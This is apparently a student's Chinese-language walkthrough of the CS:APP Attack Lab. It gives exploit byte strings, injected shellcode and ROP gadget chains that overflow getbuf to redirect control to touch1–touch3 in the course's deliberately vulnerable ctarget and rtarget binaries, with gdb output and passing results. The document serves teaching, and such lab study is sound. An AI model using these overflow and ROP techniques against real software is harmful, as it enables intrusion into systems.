CSAPP实验3:Attack Lab

一、资源概览

从网站上下载到压缩包target1,解压后包含如下文件:
- README.txt:文件夹中各个文件的介绍。
- ctarget和rtarget:用于进行攻击的可执行文件
- cookie.txt:一个八位十六进制数,有些攻击会用到。
- farm.c:ROP攻击中用到的“gadget farm”的源码。
- hex2raw:用于生成攻击字符串的工具程序。

二、注意事项

  1. 运行ctarget和rtarget时可以使用以下参数:
    • -q:self-study必选参数,避免程序寻找教师的服务器。
    • -h:列出可能的命令行参数
    • -i FILE:从文件读取输入,而非从标准输入
  2. 使用”./hex2raw”将exploit字符串转换为字节码。使用方法参考attack.pdf的Appendix A。简而言之,输入应该为每两个十六进制数一组,用空格进行分隔。比如十六进制0应该写作00,0xdeadbeef应该写作“ef be ad de”。hex2raw的使用方法如下:

    unix> cat exploit.txt | ./hex2raw | ./ctarget
  3. 本实验可以参考CS:APP3e之3.10.3节和3.10.4节。
  4. 使用ret指令实施攻击,所用的地址应该是下列之一:
    • 函数touch1, touch2或touch3的地址
    • 注入代码的地址
    • 从gadget farm中利用的gadgets地址
  5. 从rtarget文件中构造gadgets的时候,地址应该在start_farm和end_farm之间。
  6. 漏洞存在于getbuf函数:无法得知缓冲区是否能容纳读入的字符串。

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

三、Part I: Code Injection Attacks

  • 攻击目标:ctarget
  • ctarget运行时,栈上位置是连续的,所以栈上的数据是可执行的。

Phase 1

  1. 任务:使ctarget从getbuf返回时,执行touch1的代码,而不是返回到test中继续执行。
  2. 建议:

    • 所需信息仅需要反汇编代码。可以用objdump -d
    • 注意字节顺序
    • 使用GDB,在getbuf的最后几步单步调试,确认情况
    • buf在栈帧中的位置取决于编译时的常量BUFFER_SIZE,以及GCC使用的分配策略。需要根据反汇编代码确定buf的位置。
  3. 查看getbuf

    gdb-peda$ disas getbuf
    Dump of assembler code for function getbuf:
    => 0x00000000004017a8 <+0>:     sub    rsp,0x28
    0x00000000004017ac <+4>:        mov    rdi,rsp
    0x00000000004017af <+7>:        call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:       mov    eax,0x1
    0x00000000004017b9 <+17>:       add    rsp,0x28
    0x00000000004017bd <+21>:       ret    
    End of assembler dump.
  4. 很容易发现buf的缓冲区大小为0x28,所以填充了40个双字之后,写入的地址就可以覆盖返回地址ret了。记得要把地址后面的0补足了。

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    c0 17 40 00 00 00 00 00
  5. Phase 1可以通过了。

    cd@ubuntu:~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch1!: You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:1:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00

Phase 2

  1. 任务:使ctarget从getbuf返回时,执行touch2的代码,而不是返回到test中继续执行。并且要将cookie作为参数传递给touch2。

  2. touch2的代码如下:

    void touch2(unsigned val)
    {
        vlevel = 2;             /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }
  3. 建议:

    • 传递给函数的第一个参数保存在%rdi中。
    • 注入代码应该把寄存器的值设成cookie,然后使用ret指令跳转到touch2。
    • 总是使用ret指令来执行程序的控制转移。
  4. 思考:

    • 注入代码的工作流程如上面的建议所示,首先要把%rdi的值设置为cookie的值,然后使用ret指令跳转到touch2。问题是,第二步怎么才能做到?
    • ret指令的作用:从栈上弹出地址A,然后把PC设置为A。通常书上讲的是call和ret如何配合使用。这里则可以单独利用ret的功能,把touch2的地址压入栈,使其位于栈顶,然后ret指令就会把控制转移到touch2。
  5. exploit-2

    注意!返回地址要用00前缀补齐位数;压入栈的地址要有**一个**00前缀,多余的00会被混入下一条指令,没有00的话下一条指令会被认作地址(gcc会处理好,不要自己乱加或者乱删)。

    48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
    68 ec 17 40 00              /* pushq  $0x4017ec        */
    c3                          /* retq                    */
    00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00     /* old %rsp                */
  6. Phase 2通过。

    cd@ubuntu:~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Phase 3

  1. 任务:Phase 3也需要把Cookie作为参数,传递给touch3。但是需要传递cookie的字符串形式。
  2. touch3的代码:

    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        /* cookie is trasfered from unsigned to string */
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }
  3. 建议:
    • 需要把cookie转换为字符串表示形式。8位十六进制的cookie -> 8个十六进制表示的数字。(man ascii)
    • 注意,字符串要用字节0作为结尾!
    • 注入代码应该把%rdi设置为字符串的地址
    • 在调用hexmatch和strncmp的时候,将会把数据压入堆栈,所以会覆盖getbuf使用的缓冲区中的部分内存。所以,谨慎选择放置cookie的位置。
  4. 思考:

    要把cookie字符串作为参数,传递给touch3。那么需要在栈里找一个位置来保存cookie字符串。修改Phase 2的exploit,先把cookie放在0x5561dca8的位置。

    48 c7 c7 88 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                    */

    在touch3的<+17>与<+28>处下断点,比较调用hexmatch前后,栈上内存的变化情况。

    gdb-peda$ disas touch3
    Dump of assembler code for function touch3:
       0x00000000004018fa <+0>:     push   rbx
       0x00000000004018fb <+1>:     mov    rbx,rdi
       0x00000000004018fe <+4>:     mov    DWORD PTR [rip+0x202bd4],0x3        # 0x6044dc <vlevel>
       0x0000000000401908 <+14>:    mov    rsi,rdi
       0x000000000040190b <+17>:    mov    edi,DWORD PTR [rip+0x202bd3]        # 0x6044e4 <cookie>
       0x0000000000401911 <+23>:    call   0x40184c <hexmatch>
       0x0000000000401916 <+28>:    test   eax,eax
       0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
       0x000000000040191a <+32>:    mov    rdx,rbx
       ......
    End of assembler dump.

    <+17>处的栈上内存,其中0x5561dc78 ~ 0x5561dc9f为缓冲区,大小为40个字节。可以看到0x5561dca0的内存已经不是exploit写入的内容了,因为touch3有push rbx的操作。

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x48    0xc7    0xc7    0x88    0xdc    0x61    0x55    0x68
    0x5561dc80: 0xfa    0x18    0x40    0x00    0xc3    0x00    0x00    0x00
    0x5561dc88: 0x35    0x39    0x62    0x39    0x39    0x37    0x66    0x61
    0x5561dc90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    <+28>处的栈上内存,其中0x5561dc78 ~ 0x5561dca0为缓冲区。此时原缓冲区的内容基本已经不同于exploit写入的内容。

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x00    0xcc    0xb4    0x4a    0x28    0xa7    0xa4    0xb5
    0x5561dc80: 0x88    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
    0x5561dc88: 0xe8    0x5f    0x68    0x55    0x00    0x00    0x00    0x00
    0x5561dc90: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x16    0x19    0x40    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    分析一下,因为调用hexmatch,sprintf和strncmp多次压栈,而且写入cookie的栈上地址是随机的,因此传入的字符串不能保存在getbuf函数的缓冲区。可行的方式是把字符串保存在getbuf的父进程的栈中。如exploit-3所示。

  5. exploit-3

    48 c7 c7 a8 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    FA 97 B9 59 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                */
    35 39 62 39 39 37 66 61 00      /* cookie, at $0x5561dca8 */
  6. Phase 3成功通过。
    sh
    gdb-peda$ c
    Continuing.
    Type string:Touch3!: You called touch3("59b997fa")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

四、Part II: Return-Oriented Programming

简单来说,Part II和Phase 2以及Phase 3是相同的攻击目标,但是需要使用ROP攻击。每个gadget可以实现一个小步骤,完成对寄存器的操作,然后ret,接着执行下一个gadget。一系列被执行的gadgets形成了链条,最终达到我们的目的。

readme.pdf给出了Byte encodings of instructions,做题时按图索骥,在gadgets farm中寻找有没有匹配的gadget。

  • rtarget使用了两种技术防止代码注入攻击:

    1. 栈地址随机化
    2. 栈不可执行
  • 攻击方式:执行已有的代码,而不是注入新的代码。最常见的是ROP。

    1. ROP可以形成一个gadgets的链条,通过每个gadget末尾的ret指令,程序可以跳转到下一个gadget的开头。
    2. rtarget中的gadgets farm由start_farm和end_farm划定,请勿尝试从程序的其他部分构建gadgets。
  • 允许使用以下指令:

    • movq
    • popq
    • ret
    • nop
  • 建议:
    • 划定区域:从start_farm到mid_farm
    • 该攻击可以仅使用两个gadgets
    • 当一个gadget使用popq指令时,会从栈上pop数据。因此,exploit字符串应该包含gadget地址和data。

Phase 4

  1. 思考:
    首先要把cookie传入%rdi,然后再转入到touch2函数。

    根据readme.pdf的命令列表,在gadets farm中没有发现popq %rdi。于是可以先popq %rax,然后movq %rax, %rdi

  2. exploit-4
    这里的缓冲区完全被junk填充,然后从getbuf的ret向下执行。用到了两个gadget,所用到的data也放在了栈上。

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    cc 19 40 00 00 00 00 00     /* jump 0x4019cc; popq %rax         */
    fa 97 b9 59 00 00 00 00     /* cookie                           */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5; movq %rax, %rdi   */
    ec 17 40 00 00 00 00 00     /* touch2                           */
  3. 通过Phase 4

    gdb-peda$ r -q < ./exploit-4-raw.txt 
    Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab attacklab
        result  1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

  1. 思考:

    同Phase 5一样,这里也需要考虑如何存放cookie字符串,并且多了一个传递字符串地址到%rdi的难题。

    首先,getbuf的缓冲区应该全部填充为junk,那么cookie字符串为了不干扰exploit的正常运行,必然要放在exploit的最后。

    第二个问题,一开始在gadgets farm找到许多如下的操作:

    mov    $0x909078fb,%eax
    lea    -0x3c3876b8(%rdi),%eax
    movl   $0xc7c78948,(%rdi)
    ......

    所以考虑过能否使用这些数值来拼凑一个地址,然后把cookie字符串放在那里。但是由于有栈随机化,所以这个思路不行。

    后来看了一些解答,发现居然有movq %rsp, %rax这样的神操作,那样就可以用(%rsp) + x的方式来得到cookie字符串的地址了。然后就是一通拼拼凑凑,用了8个gadgets完成了exploit。

  2. exploit-5
    关于这种需要很多gadgets才能完成的exploit,觉得思路肯定是最重要的,但是思路明晰之后,在组成gadgets的链条时,不妨用倒序查找的方法,也许会快一些。当然,今后肯定会使用一些查找gadgets的工具啦。

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    06 1a 40 00 00 00 00 00     /* jump 0x401a06               ;movq %rsp, %rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    ab 19 40 00 00 00 00 00     /* jump 0x4019ab               ;popq %rax       */
    48 00 00 00 00 00 00 00     /* distance from here to cookie string          */
    dd 19 40 00 00 00 00 00     /* jump 0x4019dd               ;movl %eax, %edx */
    34 1a 40 00 00 00 00 00     /* jump 0x401a34               ;movl %edx, %ecx */
    13 1a 40 00 00 00 00 00     /* jump 0x401a13               ;movl %ecx, %esi */
    d6 19 40 00 00 00 00 00     /* jump 0x4019d6        ;lea (%rdi,%rsi,1),%rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    fa 18 40 00 00 00 00 00     /* touch3                                       */
    35 39 62 39 39 37 66 61     /* cookie string                                */
    00 00 00 00 00 00 00 00     /* string ends with 00                          */
  3. 通过Phase 5

    gdb-peda$
    Continuing.
    Type string:Touch3!: You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:rtarget:3:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

五、参考资料

  1. CS:APP配套实验3:Attack Lab笔记
  2. 【不周山之读厚 CSAPP】III Attack Lab
  3. Beej的GDB快速指南

你可能感兴趣的:(CSAPP实验)